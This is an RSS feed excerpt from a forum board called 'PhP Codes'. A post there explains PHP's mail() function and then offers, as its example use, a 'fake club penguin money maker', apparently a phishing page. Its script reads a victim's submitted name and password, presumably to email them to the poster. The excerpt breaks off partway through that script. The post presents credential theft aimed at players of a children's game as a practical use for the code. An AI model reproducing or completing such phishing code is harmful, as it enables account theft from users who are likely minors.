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		<title>PhP Codes</title>
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		<description>Post PhP codes and how you can use them in sites.</description>
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			<title>PHP mail() function</title>
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			<dc:creator>Plonk</dc:creator>
			<description>This is how to send email in php. The server must be configured to do so, however.

Code:

mail&#40;&quot;youremail@mail.com&quot;, &quot;Subect&quot;, &quot;Message&quot;, null, &quot;fake@yahoo.com&quot;&#41;;





Now for an example of its use:

This could be used in a fake club penguin money maker like this (I'm assuming you have an HTML page.)

Code:

&lt;?php

&#36;name = &#36;_POST&#91;&quot;name&quot;&#93;;

&#36;password = &#36;_POST&#91;&quot;password&quot;&#93;;

&#36;message  ...</description>
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